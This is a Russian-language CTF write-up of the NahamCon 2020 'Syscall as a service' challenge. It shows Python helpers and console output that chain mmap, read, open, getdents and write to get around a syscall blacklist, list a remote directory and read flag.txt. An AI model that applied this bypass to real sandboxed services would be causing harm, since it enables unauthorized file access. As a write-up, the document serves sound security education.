С появлением таких инструментов, как AuditD, SECCOMP и SELinux, у нас появились правила для отключения списка системных вызовов Linux с помощью механизма черного списка. Их можно использовать для усиления безопасности инфраструктуры, но им нельзя слепо доверять. Мы рассмотрим упрощенную версию этой проблемы в проекте NahamCon CTF Challenge SaaS (Syscall as a service).
Вы слышали о программном обеспечении как услуге, но слышали ли вы о системных вызовах как услуге?
Связаться с:
nc jh2i.com 50016
Программа позволяет нам запускать любой системный вызов, указав значения rax и других регистров. Первая идея - просто запустить execve с / bin / bash, чтобы получить оболочку, но есть черный список, который усложняет эту задачу:
Программа не позволяет нам запускать номера системных вызовов: 59, 57, 56, 62, 101, 200. 322. Мы можем использовать таблицу системных вызовов x64, чтобы понять их смысл. Они переводятся на:
sys_execve, sys_fork, sys_clone, sys_kill, sys_ptrace, sys_tkill, stub_execveat
Я попытался найти другие системные вызовы в Linux, которые позволяют нам запускать двоичный файл по абсолютному пути, но ничего ясного в голову не приходит. Позже я попытался построить свою собственную функциональность с помощью системных вызовов: mmap, read, write, open, getdent, getcwd.
Во-первых, давайте просто получим текущий рабочий каталог:
- mmap записываемая память в постоянном месте, которое мы предоставляем (0x10000).
- Поместите наш ввод в этот адрес памяти, используя системный вызов read.
- Предоставление указателя (0x1000) на getcwd.
- используйте write, чтобы записать 0x100 байтов из нашего указателя на стандартный вывод.
root@ctf-VirtualBox:~/naham# python solve.py [+] Opening connection to jh2i.com on port 50016: Done checkpoint ('syscall', [9, 4096, 1024, 7, 34, 0, -1]) ('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('syscall', [79, 66048, 256, 0, 0, 0, 0]) ('Rax: 0x10000\n\nEnter rax (decimal):', 34) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('syscall', [1, 1, 65792, 1024, 0, 0, 0]) ('Rax: 0x10\n\nEnter rax (decimal):', 31) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('/home/challengeRax: 0x400\n\nEnter rax (decimal): ', 1057) [*] Switching to interactive mode Sorry too slow try scripting your solution. [*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to jh2i.com port 50016
Наш текущий рабочий каталог - / home / challenge. Теперь мы можем получить список файлов в этом каталоге, используя системный вызов gedent.
int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count); The system call getdents() reads several linux_dirent structures from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. The argument count specifies the size of that buffer.
Запишем имя каталога в память с помощью чтения:
def read(s = "/home/challenge/\0"): args = [0, 0, 0x10000, len(s), 0, 0, 0] syscall(args) r.sendline(s)
Откроем каталог с флагом O_DIRECTORY.
def opendir(addr = 0x10000): args = [2, addr, 65536, 0, 0, 0, 0] syscall(args)
Уведомление 65536 - это 0200000, которое является восьмеричным значением флага для O_DIRECTORY. Мы используем наш адрес 0x10000 для пути. Мы можем предоставить этот номер fd получателям, чтобы получить список каталогов по выбранному нами адресу:
def getdents(fd = 6, addr = 0x10100, count = 0x400): args = [78, fd, addr, count, 0, 0,0] syscall(args)
Я заметил, что в удаленном режиме новый открытый fd получает номер 6 каждый раз. Вызов гетдентов получит до 0x400 байт данных; список файлов из каталога, на который указывает fd.
Давайте прочитаем из этого сегмента памяти 0x10100 и выведем на стандартный вывод.
def write(addr = 0x10100, fd = 1): args = [1, fd, addr, 0x400, 0,0,0] syscall(args) abc = r.recv(timeout=2) print (abc.replace("\x00", ""), len(abc))
Получаем с пульта:
('\xd2\xb4\x91\x01 .bashrc\x08\xd3\xb4\x91\x02 .profile\x08\xd0\xb4\x91\x03\x18.\x04\xd1\xb4\x91\x04 .bash_logout\x08\xcf\xb4\x91\x05\x18..\x04\xd5\xb4\x91\x06\x18saas\x08\xd4\xb4\x91\x07 flag.txt\x08', 1024)
Не обращайте внимания на непечатаемые байты, они являются частью структуры linux_dirent.
struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; };
Мы все еще можем извлечь из него имена файлов, и мы видим весь интересный файл flag.txt. Возьмем содержимое файла flag.txt:
Сначала запишите в память /home/challenge/flag.txt:
def read(s = "/home/challenge/flag.txt\0"): args = [0, 0, 0x10000, len(s), 0, 0, 0] syscall(args) r.sendline(s)
Затем используйте открытый системный вызов с флагом O_RDONLY, прочтите 0x400 байт.
def readfile(addr=0x10100, fd = 6): args = [0, fd, addr, 0x400, 0, 0, 0] syscall(args)
Используйте запись, чтобы распечатать его на экране:
def write(addr = 0x10100, fd = 1): args = [1, fd, addr, 0x400, 0,0,0] syscall(args) abc = r.recv(timeout=2) print (abc.replace("\x00", ""), len(abc))
Вот последний решатель:
Вот наш флаг :)
root@ctf-VirtualBox:~/naham# python solve.py [+] Opening connection to jh2i.com on port 50016: Done checkpoint ('syscall', [9, 4096, 1024, 7, 34, 0, -1]) ('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('syscall', [0, 0, 65536, 25, 0, 0, 0]) ('Rax: 0x10000\n\nEnter rax (decimal):', 34) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('syscall', [2, 65536, 0, 0, 0, 0, 0]) ('Rax: 0x19\n\nEnter rax (decimal):', 31) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('syscall', [0, 6, 65792, 1024, 0, 0, 0]) ('Rax: 0x6\n\nEnter rax (decimal):', 30) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('syscall', [1, 1, 65792, 1024, 0, 0, 0]) ('Rax: 0x1f\n\nEnter rax (decimal):', 31) ('Enter rdi (decimal):', 20) ('Enter rsi (decimal):', 20) ('Enter rdx (decimal):', 20) ('Enter r10 (decimal):', 20) ('Enter r9 (decimal):', 19) ('Enter r8 (decimal):', 19) ('flag{rax_rdi_rsi_radical_dude}\nRax: 0x400\n\nEnter rax (decimal): ', 1057)
Веселая задача. Спасибо команде CTF NahamCon 2020 за такой потрясающий опыт.